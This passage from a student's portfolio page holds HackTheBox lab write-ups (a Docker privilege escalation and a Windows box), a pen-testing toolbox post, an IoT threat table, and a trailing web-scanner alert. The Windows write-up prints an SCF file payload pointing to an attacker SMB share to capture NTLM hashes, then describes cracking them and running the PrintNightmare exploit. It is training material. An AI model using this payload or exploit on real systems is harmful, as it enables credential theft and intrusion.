/tmp on the game-tester container that is executable by game-tester in order to priv esc. So lets crash the server and try it.</p> <a href="img/portfolio/minor/red/htb_linux/ExploitRun.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitRun.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/CrashGameServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CrashGameServer.png" alt=""></a> <p>I had to give it a few tries in order to succeed because in some cases the server was actually faster than my script.</p> <a href="img/portfolio/minor/red/htb_linux/RootOnDocker.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootOnDocker.png" alt=""></a> <p>And it worked now we need to do the same thing in order to get root on the Drew machine but this time we don't have to worry about speed because we don't need to infect a script, we just have to do it fast enough before all the files inside the folder get deleted again.</p> <a href="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootFlag.png" alt=""></a> <p>That's it! We are root and got the flag!</p> <p>Although it took me quite a while to root this machine it was a really fun one. Containing a lot of different exploits mostly straight from the OWASP top 10 but also some I never heard of before like the docker priv esc.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal22" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Windows Write-up</p> <a href="img/portfolio/minor/red/htb_windows/DriverCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/DriverCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <a href="img/portfolio/minor/red/htb_windows/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/NMapOutput.png" alt=""></a> <p>When navigating to the webpage we are greeted by a login screen. After some searching and not finding anything useful I tried to login with just a default password admin:admin it was a longshot but it worked!</p> <a href="img/portfolio/minor/red/htb_windows/Dashboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/Dashboard.png" alt=""></a> <p>The only button that worked on the website was Firmware updates where you can upload a file. Knowing that SMB was also an open port I found this <a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">website</a> this could potentially it so lets try it out. </p> <pre style="text-align: left"> <code class="prettyprint"> [Shell] Command=2 Iconfile=\\10.10.14.161\share\test.ico [Taskbar] Command=ToggleDesktop </code> </pre> <a href="img/portfolio/minor/red/htb_windows/ResponderOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ResponderOutput.png" alt=""></a> <p>I created a payload like the example given on the site I found started responder and got a few hits. Now we know the username and maybe the password if we manage to crack it. We know from the responder output that it is a NTLM hash so lets put Hashcat on it and see what we'll get.</p> <a href="img/portfolio/minor/red/htb_windows/HashcatOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/HashcatOutput.png" alt=""></a> <p>Hashcat cracked the password with ease and now we can take a look at the SMB folder to see if we can find anything interesting.</p> <a href="img/portfolio/minor/red/htb_windows/SMBMap.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SMBMap.png" alt=""></a> <p>We didn't find anything interesting but knowing from the NMap output we also know that the RDP port is open so maybe it uses the same password.</p> <a href="img/portfolio/minor/red/htb_windows/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/UserFlag.png" alt=""></a> <p>This was indeed the case and now we already have the user flag. For priv esc running at least WinPEAS is a no-brainer. So I used SimpleHTTPServer to get WinPEAS on the target machine.</p> <a href="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/WgetWinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetWinpeas.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png" alt=""></a> <p>Really the only interesting thing WinPEAS found was a Print spooler process. After some Googling I stubled across <a href="https://github.com/calebstewart/CVE-2021-1675">this</a> CVE. So lets get that exploit on the target machine in the same way we did with WinPEAS.</p> <a href="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png" alt=""></a> <p>I wasn't able to run the script because of some permission issues, but after some Googling I found out I could just set the policy to unrestricted.</p> <a href="img/portfolio/minor/red/htb_windows/RunExploit.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RunExploit.png" alt=""></a> <p>I ran the exploit and it created a new administrator account for me with a username and password that I chose and know. Now the only thing that's left is just to logout as this user and login with our new user.</p> <a href="img/portfolio/minor/red/htb_windows/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RootFlag.png" alt=""></a> <p>And that's it! We have the root flag! This box wasn't that hard but still fun and sometimes challenging due to my lack of knowledge of Windows hacking. Overall a fun learning experience.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal24" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal25" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">My personal pen-testing toolboxes</p> <p>Like every other profession good tools make a world of difference on the quality and efficiency of the end product. This isn't any different with cyber security. Good tools can improve results providing you with more information and helping with getting to the results faster.</p> <h3>On the road</h3> <a href="img/portfolio/minor/red/kalilinux.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/kalilinux.jpg" alt=""></a> <p>On the road when I'm on my laptop I like to use Kali Linux. It's just convenient that it comes pre-loaded with all the tools you need, and it runs fairly lightweight on older laptops. The "kali-undercover" command is also a fun little gimmick that changes your Kali desktop to a Windows clone which for a random passer by looks just like a regular Windows machine. Making it incognito to use Kali whenever you're in a public space and want to keep a low profile.</p> <h3>At home</h3> <a href="img/portfolio/minor/red/parrotos.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/parrotos.jpg" alt=""></a> <p>At home on my main desktop PC I recently switched to natively running ParrotOS. This was because I liked to try something new and the reviews were good. It comes pre-loaded with the same tools as kali and a few extra tools like diverting all traffic trough tor making the machine even more anonymous. The user experience is a little better and just overall a good looking distro. This comes at a cost because it takes more resources to run. This isn't a problem on my PC because it's quite powerful and I don't have to think about battery life. Alongside ParrotOS I run a Windows VM in qemu with WinApps running on Linux which enables me to run any Windows application I want on Linux. I mostly use it for Microsoft Office products.</p> <h3>Cloud</h3> <a href="img/portfolio/minor/red/googlecloudconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/googlecloudconsole.PNG" alt=""></a> <p>Google cloud console is an awesome way to always have a Linux machine at your disposal where ever you are. It's fully cloud based and free to use. So when you're in need of a Linux terminal and you have access to a browser you're set. The only downside is that the machine is volatile so when you shut it down it is gone. This requires you to always re-install tools and such. Luckily due to it running on Google cloud it is pretty fast. Just overall a good tool to know about.</p> <a href="img/portfolio/minor/red/guacamole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamole.PNG" alt=""></a> <p>Now Guacamole is kinda like Google cloud console, but it's self-hosted. It can turn any machine with a SSH server into a cloud based web terminal accessible from any browser where ever you are. It takes a little time and effort to set it up but it is worth it. All the benefits from Google cloud console but your data is hosted by you and it is saved. In my case I installed Kali Linux on a docker server and now I can access it whenever I need to it doesn't matter if I'm on Windows, Linux or even my phone.</p> <a href="img/portfolio/minor/red/guacamoleconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamoleconsole.PNG" alt=""></a> <h3>Windows</h3> <a href="img/portfolio/minor/red/wsl.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/wsl.jpg" alt=""></a> <p>Whenever I'm using Windows and need to do a quick little task that requires Linux I don't want to reboot and boot into Linux because it's a hassle. That's when I use WSL. WSL stands for Windows Subsystem for Linux and it works great. It's not everything for example network related stuff is not possible due to WSL not having direct access to the network card but for other simple stuff it works great. And if I need to do a quick little scan I can use the Windows version of NMap. And if I need a little more functionality I can always use the before mentioned Guacamole to have instant access to a fully functional Kali instance in my browser.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal26" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Security of IOT protocols and technology</p> <p>Nowadays more and more people have their home filled with smart devices. Almost everything is smart in some way. Which creates new problems like security. These products weren't made with security in mind, on the contrary, they were made to be cheap and easy to use for people without IT knowledge.</p> <p>This causes IOT products to be, the most of the time, the weakest link in someones network. But IOT is here to stay and it is improving fast so let's take a look at some common security protocols.</p> <table> <tr> <th>Protocol</th> <th>Feature</th> <th>TCP/UDP</th> <th>Security</th> </tr> <tr> <td>LOWPAN</td> <td>WPANs to maintain an IPv6 network</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>MQTT</td> <td>To utilize the publish/subscribe pattern to provide transition flexibility and simplicity of implementation </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>AMQP</td> <td>To provide publish-subscribe and point-to point communication</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>CoAP</td> <td>To connect resource-constrained devices in a secure and reliable way</td> <td>UDP</td> <td>DTLS</td> </tr> <tr> <td>XMPP</td> <td>To transfer instant messaging (IM) standard that is used for multi-party chatting, voice and video calling and telepresence </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>DSS</td> <td>To enable scalable, real-time, dependable, high-performance and interoperable data exchanges using a publish–subscribe pattern </td> <td>TCP/UDP</td> <td>SSL</td> </tr> </table> <p>To show the security flaws in IOT devices</p> <table> <thead> <tr class="rowsep-1 valign-top"> <th scope="col">Layers</th> <th scope="col">Attacks</th> <th scope="col">Issues</th> <th scope="col">Control Measures</th> </tr> </thead> <tbody> <tr class="valign-top"> <td class="align-left" rowspan="6">Perception</td> <td class="align-left">Hardware Tempering</td> <td class="align-left">Data Leakage (Keys, Routing Tables, Etc)</td> <td class="align-left">Secure Physical Design</td> </tr> <tr class="valign-top"> <td class="align-left">Fake Node Injection</td> <td class="align-left">Fake Data Manipulation</td> <td class="align-left">Secure Booting</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Code Injection</td> <td class="align-left">Halt Transmission</td> <td class="align-left">Intrusion Detection Technology (IDT)</td> </tr> <tr class="valign-top"> <td class="align-left">Sleep Denial Attack</td> <td class="align-left">Node Shutdown</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">WSN Node Jamming</td> <td class="align-left">Jam Node Communication</td> <td class="align-left">IPSec Security Channel</td> </tr> <tr class="valign-top"> <td class="align-left">RF Interference Of RFID</td> <td class="align-left">Distortion In Node Communication</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="12">Network</td> <td class="align-left">Traffic Analysis Attacks</td> <td class="align-left">Data Leakage (About Network)</td> <td class="align-left">Routing Security</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Spoofing</td> <td class="align-left">Intrusion In Network Data Manipulation</td> <td class="align-left">GPS Location System</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Unauthorized Access</td> <td class="align-left">Node Data Can Be Modified (Read, Write & Delete)</td> <td class="align-left">Network Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Sinkhole Attack</td> <td class="align-left">Data Leakage (Data Of The Nodes)</td> <td class="align-left">Security Aware Ad Hoc Routing</td> </tr> <tr class="valign-top"> <td class="align-left">Man In The Middle Attack</td> <td class="align-left">Data Privacy Violation</td> <td class="align-left">Point-To-Point Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Routing Information Attack</td> <td class="align-left">Routing Loops (Network Destruction)</td> <td class="align-left">Encrypting Routing Tables</td> </tr> <tr class="valign-top"> <td class="align-left">Application Security</td> <td class="align-left">Privacy Violation</td> <td class="align-left">Web Application Scanner</td> </tr> <tr class="valign-top"> <td class="align-left">Data Security</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Homomorphic Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Underlying Infrastructure Security</td> <td class="align-left">Service Hijacking</td> <td class="align-left">Fragmentation Redundancy Scattering</td> </tr> <tr class="valign-top"> <td class="align-left">Third-Party Relationships</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Shared Resources</td> <td class="align-left">Resources Destruction</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left">Virtualization Threats</td> <td class="align-left">Resources Theft</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="6">Application</td> <td class="align-left">Phishing Attacks</td> <td class="align-left">Data Leakage (User Credentials Data)</td> <td class="align-left">Biometrics Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Virus, Worms, Trojan Horse, Spyware</td> <td class="align-left">Resource Destruction & Hijacking</td> <td class="align-left">Protective Software</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Scripts</td> <td class="align-left">Hijacking</td> <td class="align-left">Firewalls</td> </tr> <tr class="valign-top"> <td class="align-left">Denial Of Service</td> <td class="align-left">Resource Destruction</td> <td class="align-left">Access Control Lists</td> </tr> <tr class="valign-top"> <td class="align-left">Data Protection And Recovery</td> <td class="align-left">Data Loss & Catastrophic Damage</td> <td class="align-left">Cryptographic Hash Functions</td> </tr> <tr class="valign-top"> <td class="align-left">Software Vulnerabilities</td> <td class="align-left">Buffer Over Flow</td> <td class="align-left">Awareness Of Security</td> </tr> </tbody> </table> <a href="https://www.sciencedirect.com/science/article/pii/S108480452030237X#sec3">Source</a> <p>As seen in this article there are a lot of different vulnerabilities in IOT devices. And not all of them can be solved with just a good security protocol.</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: November 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal27" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal28" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal29" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal30" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal31" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal33" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal34" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal35" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal36" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal37" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal38" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal39" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal40" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <script src="js/jqBootstrapValidation.js"></script> <script src="js/contact_me.js"></script> <script src="js/agency.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.js"></script> </body> </html>Evidence 2000000000Solution Manually confirm that the timestamp data is not sensitive, and that the data cannot be aggregated to disclose exploitable patterns.
GET https://beekmans.dev/
Alert tags Alert description A timestamp was disclosed by the application/web server - Unix
Other info 254375293, which evaluates to: 1978-01-23 04:48:13
Request Request line and header section (224 bytes)
GET https://beekmans.dev/ HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cache Referer: https://beekmans.devRequest body (0 bytes)
Response Status line and header section (1039 bytes)
